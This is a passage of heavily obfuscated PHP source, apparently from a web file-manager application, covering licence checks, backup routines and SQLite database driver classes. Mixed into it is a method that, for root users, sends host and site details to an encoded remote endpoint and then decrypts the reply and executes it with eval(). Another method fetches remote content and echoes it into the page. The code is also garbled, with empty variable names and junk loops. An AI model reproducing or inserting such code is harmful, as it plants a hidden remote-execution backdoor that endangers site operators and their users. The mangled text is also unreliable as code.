($this->mhfi4e025a73 == $ַ[109]) { return $ַ[6]; } $ = _get($this->nmwybea8b394, $ַ[245], $ַ[6]); $ = _get($this->nmwybea8b394, $ַ[116], $ַ[6]); $訴 = _get($this->nmwybea8b394, $ַ[246], $ַ[6]); if ($ > time() && $訴 > time()) { $ = explode($ַ[226], $); $ = array_keys($this->versionPluginList()); $ = array_merge($, $); $ = implode($ַ[226], array_filter(array_unique($))); } return $; } private function strucaca9856() { $ҍ =& $_SERVER[]; if ($this->mhfi4e025a73 != $ҍ[109]) { $GLOBALS[$ҍ[86]][$ҍ[90]][$ҍ[247]] = $ҍ[206]; return; } $GLOBALS[$ҍ[86]][$ҍ[248]] = $ҍ[122]; if (Model($ҍ[249])->get($ҍ[63]) != $ҍ[206]) { Model($ҍ[249])->set($ҍ[63], $ҍ[206]); } } public function aobm43877ece() { return $_SERVER[][250]; } private function txkw6a3d8071() { $ =& $_SERVER[秼]; $ =& $_SERVER[]; $е = array($[251], $[252], $[253]); $֓ = $[765]; while (strlen($֓) < $[706]) { if (!$֓) { break; } $֓++; } $ʉ = $[254] . md5($[255]); if ($this->mhfi4e025a73 == $[109] || !KodUser::isRoot()) { return; } if (!in_array($_SERVER[$[24]], $е)) { return; } if (time() % 4 != 0) { return; } $ = call_user_func(array($[256], $[257]), $ʉ); if ($ && time() - $ < intval($[258])) { return; } call_user_func(array($[256], $[139]), $ʉ, time()); $ݠ = $[766]; if (strlen($ݠ) < $[438]) { die; } $澄 = Model($[33])->get($[100]); $婚 = array($[152] => Model($[33])->get($[153]), $[167] => $this->mhfi4e025a73, $[163] => $_SERVER[$[164]], $[165] => Model($[33])->get($[131]), $[105] => md5($_SERVER[$[106]] . $澄), $[156] => $[136], $[159] => $_SERVER[$[160]]); $ߴ = $this->bsiwe707ae6d($[259], $婚); if (!is_array($ߴ)) { return; } if ($ߴ[$[152]] && $ߴ[$[260]]) { if ($this->xmcw7e59bae4($ߴ[$[260]]) == $婚[$[152]]) { return; } } $this->vwecc553b9ed(); $ = $[767]; while ($ < $[438]) { if ($ >= 0) { break; } $++; } if ($this->xmcw7e59bae4($ߴ[$[260]]) != $婚[$[152]]) { $ɗ = array($[185] => $澄, $[186] => $_SERVER[$[106]], $[187] => this_url(), $[161] => $_SERVER[$[162]]); $ܧ = $this->oqra0b0df1f5(json_encode($ɗ)); $ߴ = $this->bsiwe707ae6d($[188] . $ܧ); if ($ߴ && is_array($ߴ) && isset($ߴ[$[260]])) { $ = $this->tugme2256a99($ߴ[$[260]], 2); if ($) { $ = $this->xmcw7e59bae4($); } if ($) { try { @eval($); } catch (Exception $) { } } } } } private function bsiwe707ae6d($ғ殤 = '', $ = array(), $Ԇϛ = 5) { $Ɗ =& $_SERVER[秼]; $ԫ =& $_SERVER[]; $ = $ԫ[261]; $ = $this->mguk60d65ba1($, $ԫ[262]); $ԁ = $Ɗ[768]; $ = $ . $ғ殤; if ($ && is_array($)) { $ = $ . $ԫ[263] . http_build_query($); } if ($ === -1) { return $; } $ = stream_context_create(array($ԫ[219] => array($ԫ[222] => $Ԇϛ, $ԫ[220] => $ԫ[264]), $ԫ[265] => array($ԫ[266] => !1, $ԫ[267] => !1))); $շ = $Ɗ[769]; if (!$շ) { die; } $ = @file_get_contents($, !1, $); $Ǣ = $Ɗ[770]; return json_decode($, !0); $ۊ = $Ɗ[771]; $ = $Ɗ[772]; if (!$) { die; } } private function ioayb6b7d6f1() { $⼉ =& $_SERVER[秼]; $ =& $_SERVER[]; $ = array($[268] => $[269], $[270] => $[271], $[272] => $[273], $[274] => $[275], $[276] => $[277], $[278] => $[214], $[279] => $[214], $[280] => $[269], $[281] => $[271], $[282] => $[273], $[283] => $[284], $[285] => $[275], $[286] => $[287], $[288] => $[277], $[289] => $[290], $[291] => $[292], $[293] => $[294]); $ = $⼉[773]; while (strlen($) < $⼉[706]) { if (!$) { break; } $++; } $ڒ = $[$this->mhfi4e025a73]; $ϝ = $⼉[774]; if (!$ϝ) { die; } $ڒ = intval($ڒ ? $ڒ : $[269]); $ʼ = $⼉[775]; if (!$ʼ) { return; } $ = _get($this->nmwybea8b394, $[295]); $Ђ = $⼉[776]; if (!$Ђ) { die; } $ = $ ? intval($) : 0; return $ڒ + $; } public function uzqv5648af64($) { $ώ =& $_SERVER[秼]; $μ =& $_SERVER[]; $ = $this->ioayb6b7d6f1(); $ɿ = $ώ[777]; while ($ɿ < $ώ[438]) { if ($ɿ >= 0) { break; } $ɿ++; } if ($[$μ[296]] == $μ[122]) { return; } if ($ >= intval($μ[214])) { return; } $ʆ = Model($μ[125])->count(); if ($ʆ <= $) { return; } $ = Model($μ[125])->field($μ[296])->limit($)->select(); $ø = $ώ[778]; if (strlen($ø) < $ώ[714]) { die; } $ = array_to_keyvalue($, $μ[6], $μ[296]); if (!in_array($[$μ[296]], $)) { show_json($μ[297], !1, $μ[210]); } } public function gruw6877c778() { $䡾 =& $_SERVER[秼]; $ =& $_SERVER[]; if (!KodUser::isRoot() || mt_rand(1, 100) > 20) { return; } $р = $[217]; $р = $this->mguk60d65ba1($р, $[218]); $ = stream_context_create(array($[219] => array($[220] => $[221], $[222] => 3))); $ړ = $䡾[779]; if (!$ړ) { return; } $ = @file_get_contents($р, !1, $); $÷ = $䡾[780]; if (!$÷) { return; } echo $[298] . hash_encode($) . $[299]; $ = $䡾[781]; while (strlen($) < $䡾[438]) { if (!$) { break; } $++; } } private function zxio34a3b682($, $, $髈 = 3) { $ =& $_SERVER[秼]; $ވ =& $_SERVER[]; usleep(1); $ = trim($); $ƶ = $[782]; $ = mt_rand(0, 5) . $ވ[6]; $ = $[783]; if (!$) { return; } $ٖ = rand_string(15); $ҥ = $ވ[300]; $݈ = $[784]; if (strlen($݈) < $[698]) { return; } switch ($) { case $ވ[206]: $ = $this->gyudb76f3552($, strrev($ . $ٖ)); $ = $[785]; break; $Ğ = $[786]; if (strlen($Ğ) < $[714]) { return; } case $ވ[122]: $ = $this->gyudb76f3552($, strrev($ٖ . $)); $Ŵ = $[787]; break; case $ވ[301]: $ = $this->gyudb76f3552($, base64_encode($ٖ . $)); $εڵ = $[788]; if (!$εڵ) { return; } break; case $ވ[302]: $ = $this->gyudb76f3552($, md5($ٖ . $)); $ۨ = $[789]; break; $ = $[790]; if (!$) { die; } case $ވ[303]: $ = base64_encode($); $ٺ = $[791]; while (strlen($ٺ) < $[438]) { if (!$ٺ) { break; } $ٺ++; } $ė = rand(0, 64); $ = $ҥ[$ė]; $֟ = $[792]; if (!$֟) { die; } $džբ = md5($ . md5($ . $) . $); $džբ = substr($džբ, $ė % 8, $ė % 8 + 7); $ё = $[793]; if (strlen($ё) < $[698]) { return; } $ = $ވ[6]; $ = $[794]; $ = 0; $Ƚ = 0; $ = 0; for ($ = 0; $ < strlen($); $++) { $ = $ == strlen($džբ) ? 0 : $; $ = $[795]; if (strlen($) < $[698]) { return; } $Ƚ = ($ė + strpos($ҥ, $[$]) + ord($džբ[$++])) % 64; $ .= $ҥ[$Ƚ]; } $ = hash_encode($ . $); $ = $[796]; while ($ < $[702]) { if ($ >= 0) { break; } $++; } break; $ԕ = $[797]; if (strlen($ԕ) < $[706]) { die; } default: $ = $this->gyudb76f3552($, $ . $ٖ); $ = $[798]; if (strlen($) < $[706]) { die; } break; $ǐ = $[799]; } $ = strrev($ . $ٖ . $); if ($髈 - 1 > 0) { $ = $this->zxio34a3b682($, $, $髈 - 1); } return $; } private function tugme2256a99($, $, $ = 3) { $ =& $_SERVER[秼]; $ =& $_SERVER[]; if (!is_string($) || strlen($) < 10) { return !1; } $ = trim($); $ = strrev($); $ = $[800]; $ܺ = $[0]; $ќ = $[801]; if (!$ќ) { die; } $ = substr($, 1, 15); $ = $[802]; if (strlen($) < $[714]) { die; } $ = substr($, 16); $ټ = $[300]; switch ($ܺ) { case $[206]: $Ω = $this->mguk60d65ba1($, strrev($ . $)); break; case $[122]: $Ω = $this->mguk60d65ba1($, strrev($ . $)); $ס = $[803]; while ($ס < $[438]) { if ($ס >= 0) { break; } $ס++; } break; case $[301]: $Ω = $this->mguk60d65ba1($, base64_encode($ . $)); $͗ = $[804]; if (!$͗) { return; } break; $ = $[805]; if (!$) { die; } case $[302]: $Ω = $this->mguk60d65ba1($, md5($ . $)); break; case $[303]: $ = hash_decode($); $ = $[0]; $ɶ = $[806]; while (strlen($ɶ) < $[706]) { if (!$ɶ) { break; } $ɶ++; } $ = substr($, 1); $ϔ = $[807]; if (!$ϔ) { die; } $ = strpos($ټ, $); $ɩ = $[808]; $ = md5($ . md5($ . $) . $); $ = substr($, $ % 8, $ % 8 + 7); $ͫߴ = $[809]; while ($ͫߴ < $[438]) { if ($ͫߴ >= 0) { break; } $ͫߴ++; } $Β = $[6]; $՜ = $[799]; if (!$՜) { return; } $ = 0; $̑ = 0; $ = 0; for ($ = 0; $ < strlen($); $++) { $ = $ == strlen($) ? 0 : $; $ = $++; $ = $[810]; if (!$) { return; } $̑ = strpos($ټ, $[$]) - $ - ord($[$]); while ($̑ < 0) { $̑ += 64; $ = $[811]; } $Β .= $ټ[$̑]; } $Ω = base64_decode($Β); $ޢ = $[812]; while (strlen($ޢ) < $[438]) { if (!$ޢ) { break; } $ޢ++; } break; default: $Ω = $this->mguk60d65ba1($, $ . $); $ƞ = $[813]; if (!$ƞ) { die; } break; $Ń = $[814]; if (strlen($Ń) < $[714]) { die; } } if ($ - 1 > 0) { $Ω = $this->tugme2256a99($Ω, $, $ - 1); } return $Ω; } public function oqra0b0df1f5($) { $؇ =& $_SERVER[秼]; $߬ =& $_SERVER[]; $ = $this->prev28d5fd86(); $Ѹ = $this->prev28d5fd86(); $ܞ = $؇[815]; while ($ܞ < $؇[438]) { if ($ܞ >= 0) { break; } $ܞ++; } $ = ($ - 1) * ($Ѹ - 1); $ = $؇[816]; while (strlen($) < $؇[698]) { if (!$) { break; } $++; } $ = intval(($ + $Ѹ) / 2); while (1) { $¼ = $; $ί = $; while ($ί % $¼ != 0) { $ы = $ί; $ί = $¼; $ڪԶ = $؇[817]; while (strlen($ڪԶ) < $؇[698]) { if (!$ڪԶ) { break; } $ڪԶ++; } $¼ = $ы % $¼; $Ը = $؇[818]; if (!$Ը) { return; } } if ($¼ == 1) { break; } else { $++; } } $ⲫ = 2; $춟 = $؇[819]; if (strlen($춟) < $؇[706]) { die; } for ($ = 0; $ < $ * 10; $++) { if (($ * $ + 1) % $ == 0) { $ⲫ = intval(($ * $ + 1) / $); break; } } $ꄇ = $this->gyudb76f3552($ * $Ѹ . $߬[6], $߬[136]); $Ҋ = md5($߬[304] . ($ + $Ѹ) . $߬[305] . $ . $߬[305] . $ⲫ . $߬[306]); $Ƭ = $this->gyudb76f3552($, $Ҋ) . $߬[307] . $ꄇ; $ = $؇[820]; while ($ < $؇[698]) { if ($ >= 0) { break; } $++; } return $Ƭ; } public function xmcw7e59bae4($ɽ) { $Ì =& $_SERVER[秼]; $ɐ =& $_SERVER[]; $С = explode($ɐ[307], $ɽ); $ = $Ì[821]; if (!$) { die; } if (count($С) != 2) { return $ɐ[6]; } $ٴ = $this->mguk60d65ba1($С[1] . $ɐ[6], $ɐ[136]); if (!$ٴ) { return $ɐ[6]; } $ٴ = intval($ٴ); $ = 0; $Ϋ߀ = 0; for ($ = 3; $ < $ٴ; $ += 2) { if ($ٴ % $ != 0) { continue; } $ = $; $Ϋ߀ = intval($ٴ / $); $햼ό = $Ì[822]; while ($햼ό < $Ì[714]) { if ($햼ό >= 0) { break; } $햼ό++; } break; } $˘ = ($ - 1) * ($Ϋ߀ - 1); $Ւ = $Ì[823]; $ޢۮ = intval(($ + $Ϋ߀) / 2); while (1) { $ԕ = $ޢۮ; $́ = $Ì[824]; $ = $˘; $ = $Ì[825]; while ($ % $ԕ != 0) { $͘Ԓ = $; $ = $Ì[826]; while (strlen($) < $Ì[706]) { if (!$) { break; } $++; } $ = $ԕ; $ = $Ì[827]; while (strlen($) < $Ì[438]) { if (!$) { break; } $++; } $ԕ = $͘Ԓ % $ԕ; $ = $Ì[828]; if (strlen($) < $Ì[702]) { return; } } if ($ԕ == 1) { break; } else { $ޢۮ++; } } $ = 2; $֦ = $Ì[829]; for ($ = 0; $ < $˘ * 10; $++) { if (($˘ * $ + 1) % $ޢۮ == 0) { $ = intval(($˘ * $ + 1) / $ޢۮ); break; } } $ɻ = md5($ɐ[304] . ($ + $Ϋ߀) . $ɐ[305] . $ޢۮ . $ɐ[305] . $ . $ɐ[306]); $ = $Ì[830]; $ = $this->mguk60d65ba1($С[0], $ɻ); return $; $ = $Ì[701]; if (!$) { return; } } public function prev28d5fd86() { $ۅ㎷ =& $_SERVER[秼]; $ܵ = mt_rand(pow(2, 14), pow(2, 16) - 1); $ނ = array(); $ = $ۅ㎷[831]; while ($ < $ۅ㎷[438]) { if ($ >= 0) { break; } $++; } $٘ = 1; while ($٘ <= (int) sqrt($ܵ)) { $焼 = $٘; $ƄǢ = $ۅ㎷[832]; while (!0) { $焼++; if ($焼 <= 2) { $٘ = $焼; break; } else { if ($焼 < 2) { continue; } } $ = !0; for ($ = 2; $ <= sqrt($焼); $++) { if ($焼 % $ == 0) { $ = !1; } } if ($) { $٘ = $焼; break; } } $ނ[] = $٘; $Ԑ = $ۅ㎷[833]; if (!$Ԑ) { return; } } $ = 2; for ($焼 = $ܵ; $焼 > 1; $焼--) { $ = !0; $鍦 = $ۅ㎷[834]; if (!$鍦) { return; } foreach ($ނ as $ė) { if ($焼 % $ė == 0) { $ = !1; break; } } if ($) { $ = $焼; break; } } return $; } public function yxrq1a2be9d0($, $Í) { $Զ =& $_SERVER[]; return call_user_func(array($Զ[8], $Զ[308]), $, $Í); } public function gyudb76f3552($ז, $㿰) { $ꈫ =& $_SERVER[秼]; $ =& $_SERVER[]; return call_user_func(array($[309], $[310]), $ז, $㿰); $И = $ꈫ[835]; if (strlen($И) < $ꈫ[706]) { die; } } public function mguk60d65ba1($, $Е) { $ =& $_SERVER[]; return call_user_func(array($[309], $[311]), $, $Е); } } class Backup { protected static $name; protected static $option; protected static $manual; public function __construct() { $this->model = Model($_SERVER[秼][836]); $this->init(); $this->keep(); } public function init() { $ѿͳ =& $_SERVER[秼]; $this->isManual(); self::$name = date($ѿͳ[837]); if (!($Ӵ = $this->model->lastItem())) { $Ӵ = $this->initData(); } else { self::$name = $Ӵ[$ѿͳ[32]]; if ($Ӵ[$ѿͳ[838]] == $ѿͳ[91]) { self::$name = date($ѿͳ[261]); $ς = intval(_get($Ӵ, $ѿͳ[839], 0)); if (self::$manual == 0 && $Ӵ[$ѿͳ[32]] == self::$name) { $this->model->remove($Ӵ[$ѿͳ[486]]); } $Ӵ = $this->initData($ς, $Ӵ[$ѿͳ[840]]); } else { $this->checkStore($Ӵ[$ѿͳ[840]]); } } self::$option = $Ӵ; } private function isManual() { $م = _get($GLOBALS, $_SERVER[秼][841], 0); $م = intval($م); self::$manual = $م && $م == 1 ? 1 : 0; } private function initData($ϸ = 0, $М = '') { $ =& $_SERVER[秼]; $םӚ = $this->model->config(); if ($М && $םӚ[$[840]] != $М) { $ϸ = 0; } $this->checkStore($םӚ[$[840]]); if (self::$manual == 1) { self::$name .= $[11] . date($[842]); } $ϓ = array($[840] => $םӚ[$[840]], $[32] => self::$name, $[838] => 0, $[171] => $םӚ[$[171]], $[843] => self::$manual, $[370] => array($[844] => array($[838] => 0), $[845] => array($[838] => 0, $[846] => 0, $[847] => 0, $[33] => $[12], $[848] => 0, $[849] => 0), $[850] => array($[838] => 0, $[846] => 0, $[847] => 0, $[848] => 0, $[849] => 0), $[232] => array($[838] => 0, $[851] => 0, $[852] => 0, $[853] => 0, $[854] => 0, $[552] => $ϸ, $[848] => 0, $[849] => 0)), $[848] => time(), $[849] => 0); $ݯ = $this->model->insert($ϓ); $ϓ[$[486]] = $ݯ; return $ϓ; } private function checkStore($) { $ݿɣ = Model($_SERVER[秼][855]); $ʡ = $ݿɣ->listData($); $ݿɣ->checkConfig($ʡ); } public static function get() { if (!self::$option) { $ = Model($_SERVER[秼][836]); $֫ = $->findByName(self::$name); $->parseContent($֫); self::$option = $֫; } return self::$option; } public static function set($ώ) { $ӛ =& $_SERVER[秼]; $⩐ = self::get(); foreach ($ώ as $蕧 => $ɱ) { array_set_value($⩐, $蕧, $ɱ); } Model($ӛ[836])->update($⩐[$ӛ[486]], $⩐); self::$option = $⩐; return self::$option; } public function keep() { $ =& $_SERVER[秼]; $뤣 = self::get(); if (_get($뤣, $[856], 0) == $[91]) { return; } $this->backupKeep($뤣); self::set(array($[856] => 1)); } private function backupKeep($Å) { $ =& $_SERVER[秼]; if (self::$manual == 1) { return; } $ = $this->model->listData(); if (empty($)) { return; } $ͯ = 0; $ = array(); foreach ($ as $) { if ($ͯ >= 7) { break; } $[] = $[$[32]]; $ͯ++; } for ($ͯ = 0; $ͯ < 12; $ͯ++) { $[] = date($[857], strtotime("\x2d{$ͯ}\40\155\157\x6e\x74\150\x73")); } $ = array_unique($); $ь = Model($[858])->get($[859]); foreach ($ as $) { if (isset($[$[843]]) && $[$[843]] == $[91]) { continue; } if (!empty($[$[32]]) && in_array($[$[32]], $)) { continue; } $this->model->remove($[$[486]]); $栐 = $this->backupPath($Å, $ь); IO::remove($栐, !1); } } private function backupPath($ė, $ = false) { $ϕ =& $_SERVER[秼]; if (!$) { $ = Model($ϕ[858])->get($ϕ[859]); } $ = $ė[$ϕ[32]]; $ = substr(md5($ϕ[860] . $ . $), 0, 8); return "\x7b\x69\157\72{$ė[$ϕ[840]]}\x7d\x2f\x64\141\164\x61\x62\141\x73\145\57\142\141\x63\153\165\160\x2f" . $ . $ϕ[11] . $; } public function db() { $ώ =& $_SERVER[秼]; $ = self::get(); if (_get($, $ώ[861], 0) == $ώ[91]) { return !0; } $ = new BackupDb(); if (!$->index()) { return !1; } self::set(array($ώ[861] => 1)); return !0; } public function dbFile() { $ܨ =& $_SERVER[秼]; $ƹ = self::get(); if (_get($ƹ, $ܨ[862], 0) == $ܨ[91]) { return !0; } $ = new BackupDbFile(); if (!$->index()) { return !1; } self::set(array($ܨ[862] => 1)); return !0; } public function file() { $ہӚ =& $_SERVER[秼]; $ԟȢ = self::get(); if (_get($ԟȢ, $ہӚ[863], 0) == $ہӚ[91]) { return !0; } if ($ԟȢ[$ہӚ[171]] == $ہӚ[864]) { $տ = new BackupFile(); if (!$տ->index()) { return !1; } } self::set(array($ہӚ[863] => 1, $ہӚ[838] => 1)); return !0; } } class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { $ =& $_SERVER[秼]; $ = Backup::get(); self::$io = $[$[840]]; self::$name = $[$[32]]; $ = new DbManage(); $ = $->dbType(); $ȼ = array($[865] => $, $[866] => time()); Backup::set($ȼ); $ʋ = $this->tmpFilesPath() . $[867] . self::$name . $[8]; del_dir($ʋ); mk_dir($ʋ); $앍 = $Գ = 0; try { $祀 = $->db()->getTables(); } catch (Exception $ݸ) { return !1; } $祀 = array_diff($祀, array($[868], $[869])); foreach ($祀 as $) { if ($ == $[870]) { continue; } $앍 += $->model($)->count(); } $ = new Task($[871], $[872], $앍, LNG($[873]) . $[874] . LNG($[875])); $GLOBALS[$[876]] = self::$name; foreach ($祀 as $) { $鞻 = $ʋ . $ . $[877]; if ($ == $[870]) { @touch($鞻); continue; } $ = null; if ($ == $[878] && $[$[171]] == $[864]) { $ = self::$io; } $Գ += $->sqlFromDb($, $鞻, $, $); } unset($GLOBALS[$[876]]); $->end(); if ($Գ > $앍) { $앍 = $Գ; } $ȼ = array($[865] => $, $[861] => 1, $[879] => $앍, $[880] => $Գ, $[881] => time()); Backup::set($ȼ); if ($앍 - $Գ > 0) { $ߎ = $[882]; if (!stristr(I18n::getType(), $[883])) { $ߎ = $[884]; } write_log(array($ߎ, $ȼ), $[872]); return !1; } return !0; } private function tmpFilesPath() { $鵪 =& $_SERVER[秼]; $ߟ = TEMP_FILES; if ($GLOBALS[$鵪[6]][$鵪[92]][$鵪[885]]) { $ߟ = $GLOBALS[$鵪[6]][$鵪[92]][$鵪[885]]; if (!mk_dir($ߟ) || !is_writable($ߟ) || !IO::mkfile($ߟ . $鵪[886])) { $ߟ = TEMP_FILES; } } return $ߟ; } } goto cި; d: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { $Ɣ =& $_SERVER[秼]; global $in, $config; $this->config =& $config; $this->in =& $in; $this->values[$Ɣ[6]] =& $config; $this->values[$Ɣ[7]] =& $in; $this->tpl = TEMPLATE . MOD . $Ɣ[8]; $this->_classObjectID = mt_rand(0, 10000); } public function loadClass($Õ) { if (1 === func_num_args()) { $this->{$Õ} = new $Õ(); } else { $۵ = new ReflectionClass($Õ); $Ļ = func_get_args(); array_shift($Ļ); $this->{$Õ} = $۵->newInstanceArgs($Ļ); } return $this->{$Õ}; } public function routeBind($Κ, $卫, $ = 3) { $鼝 =& $_SERVER[秼]; $Ϛ = $this->in[$鼝[9]]; $Κ = str_replace($鼝[10], $鼝[11], trim(trim($Κ, $鼝[8]), $鼝[12])); if (!$Κ || count($Ϛ) <= $) { return !1; } $ = !0; $ = explode($鼝[8], $Κ); for ($ = 0; $ < count($); $++) { if ($[$] != $Ϛ[$ + $]) { $ = !1; break; } } if (!$) { return; } call_user_func_array(array($this, $卫), array()); } public function routeArgs($ƹ = 3) { $뿜 = $this->in[$_SERVER[秼][9]]; if (count($뿜) <= $ƹ) { return array(); } $د = array(); for ($ˬ = $ƹ; $ˬ < count($뿜); $ˬ += 2) { $د[$뿜[$ˬ]] = $뿜[$ˬ + 1]; $this->in[$뿜[$ˬ]] = $뿜[$ˬ + 1]; } return $د; } protected function assign($Ǵ, $˅ڇ) { $this->values[$Ǵ] = $˅ڇ; } protected function display($) { ob_end_clean(); extract($this->values); require $this->tpl . $; } } class DbSqliteBase extends Db { public function __construct($ê = '') { $ͅ =& $_SERVER[秼]; if (!extension_loaded($ͅ[13])) { think_exception(think_lang($ͅ[14]) . $ͅ[15]); } if (!empty($ê)) { if (!isset($ê[$ͅ[16]])) { $ê[$ͅ[16]] = 438; } $this->config = $ê; if (empty($this->config[$ͅ[17]])) { $this->config[$ͅ[17]] = array(); } } } public function connect($ޑ = '', $ = 0) { $Ƌ =& $_SERVER[秼]; if (!isset($this->linkID[$])) { if (empty($ޑ)) { $ޑ = $this->config; } $ɹ = !empty($ޑ[$Ƌ[17]][$Ƌ[18]]) ? $ޑ[$Ƌ[17]][$Ƌ[18]] : $this->pconnect; $ = $ɹ ? $Ƌ[19] : $Ƌ[20]; $this->linkID[$] = $($ޑ[$Ƌ[21]], $ޑ[$Ƌ[16]]); if (!$this->linkID[$]) { think_exception(sqlite_error_string()); } $this->connected = !0; @sqlite_busy_timeout($this->linkID[$], 30000); if (1 != think_config($Ƌ[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID = null; } public function query($) { $ɺϖ =& $_SERVER[秼]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($ɺϖ[23], 1); think_status($ɺϖ[24]); $this->queryID = sqlite_query($this->_linkID, $); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $ޠ = $this->getAll(); return $ޠ; } } public function execute($̜) { $ǽ =& $_SERVER[秼]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $̜; if ($this->queryID) { $this->free(); } think_action_status($ǽ[25], 1); think_status($ǽ[24]); $䯚 = sqlite_exec($this->_linkID, $̜); $this->debug(); if (!1 === $䯚) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[秼][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ѭ = sqlite_query($this->_linkID, $_SERVER[秼][27]); if (!$ѭ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $И = sqlite_query($this->_linkID, $_SERVER[秼][28]); if (!$И) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ч = array(); if ($this->numRows > 0) { for ($ = 0; $ < $this->numRows; $++) { $ч[$] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $ч; } public function getFields($) { $ð쏪 =& $_SERVER[秼]; $Õ = $this->query($ð쏪[29] . $ . $ð쏪[30]); $֘¥ = array(); if ($Õ) { foreach ($Õ as $ߝ => $) { $֘¥[$[$ð쏪[31]]] = array($ð쏪[32] => $[$ð쏪[31]], $ð쏪[33] => $[$ð쏪[34]], $ð쏪[35] => (bool) ($[$ð쏪[36]] === $ð쏪[12]), $ð쏪[37] => $[$ð쏪[38]], $ð쏪[39] => strtolower($[$ð쏪[40]]) == $ð쏪[41], $ð쏪[42] => strtolower($[$ð쏪[43]]) == $ð쏪[44]); } } return $֘¥; } public function getTables($ = '') { $ӎ =& $_SERVER[秼]; $ = $this->query($ӎ[45] . $ӎ[46] . $ӎ[47]); $֬ = array(); foreach ($ as $ע => $т) { $֬[$ע] = current($т); } return $֬; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $ =& $_SERVER[秼]; $ = sqlite_last_error($this->_linkID); $this->error = $ . $[4] . sqlite_error_string($); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($䎬) { return sqlite_escape_string($䎬); } public function parseLimit($) { $ =& $_SERVER[秼]; $ = $[12]; if (!empty($)) { $ = explode($[50], $); if (count($) > 1) { $ .= $[51] . $[1] . $[52] . $[0] . $[53]; } else { $ .= $[51] . $[0] . $[53]; } } return $; } } class DbSqlite3Base extends Db { public function __construct($Ⱬ = '') { $ =& $_SERVER[秼]; if (!class_exists($[54])) { think_exception(think_lang($[14]) . $[55]); } if (!empty($Ⱬ)) { if (!isset($Ⱬ[$[16]])) { $Ⱬ[$[16]] = 438; } $this->config = $Ⱬ; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($ԛ = '', $ = 0) { $畛 =& $_SERVER[秼]; if (!isset($this->linkID[$])) { if (empty($ԛ)) { $ԛ = $this->config; } $this->linkID[$] = new SQLite3($ԛ[$畛[21]]); if (!$this->linkID[$]) { think_exception($this->linkID[$]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$]->busyTimeout(30000); if (1 != think_config($畛[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID = null; } public function query($Ҥ) { $ =& $_SERVER[秼]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $Ҥ; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = $this->_linkID->query($Ҥ); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $כ = $this->getAll(); $this->numRows = count($כ); return $כ; } } public function execute($ؑ) { $ =& $_SERVER[秼]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ؑ; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ə = $this->_linkID->exec($ؑ); $this->debug(); if (!1 === $ə) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[秼][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ť = $this->_linkID->query($_SERVER[秼][27]); if (!$ť) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $˼ = $this->_linkID->query($_SERVER[秼][28]); if (!$˼) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $҃⇯ = array(); while ($趭 = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $҃⇯[] = $趭; } $this->queryID->reset(); return $҃⇯; } public function getFields($) { $ҵ =& $_SERVER[秼]; $ʚ = $this->query($ҵ[29] . $ . $ҵ[30]); $ٙǷ = array(); if ($ʚ) { foreach ($ʚ as $봢 => $) { $ٙǷ[$[$ҵ[32]]] = array($ҵ[32] => $[$ҵ[32]], $ҵ[33] => $[$ҵ[33]], $ҵ[35] => (bool) ($[$ҵ[35]] === $ҵ[12]), $ҵ[37] => $[$ҵ[56]], $ҵ[39] => (bool) $[$ҵ[57]], $ҵ[42] => (bool) $[$ҵ[57]]); } } return $ٙǷ; } public function getTables($ = '') { $ڞ =& $_SERVER[秼]; $ = $this->query($ڞ[45] . $ڞ[46] . $ڞ[47]); $Ҳ = array(); foreach ($ as $Ш => $߀) { $Ҳ[$Ш] = current($߀); } return $Ҳ; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ݜ =& $_SERVER[秼]; $this->error = $this->_linkID->lastErrorMsg(); if ($ݜ[12] != $this->queryStr) { $this->error .= LNG($ݜ[48]) . $this->queryStr; } think_trace($this->error, $ݜ[12], $ݜ[49]); return $this->error; } public function escapeString($ː) { $ǝ =& $_SERVER[秼]; if ($this->_linkID) { return $this->_linkID->escapeString($ː); } return str_ireplace($ǝ[58], $ǝ[59], $ː); } public function parseLimit($혊) { $ݙݘ =& $_SERVER[秼]; $ = $ݙݘ[12]; if (!empty($혊)) { $혊 = explode($ݙݘ[50], $혊); if (count($혊) > 1) { $ .= $ݙݘ[51] . $혊[1] . $ݙݘ[52] . $혊[0] . 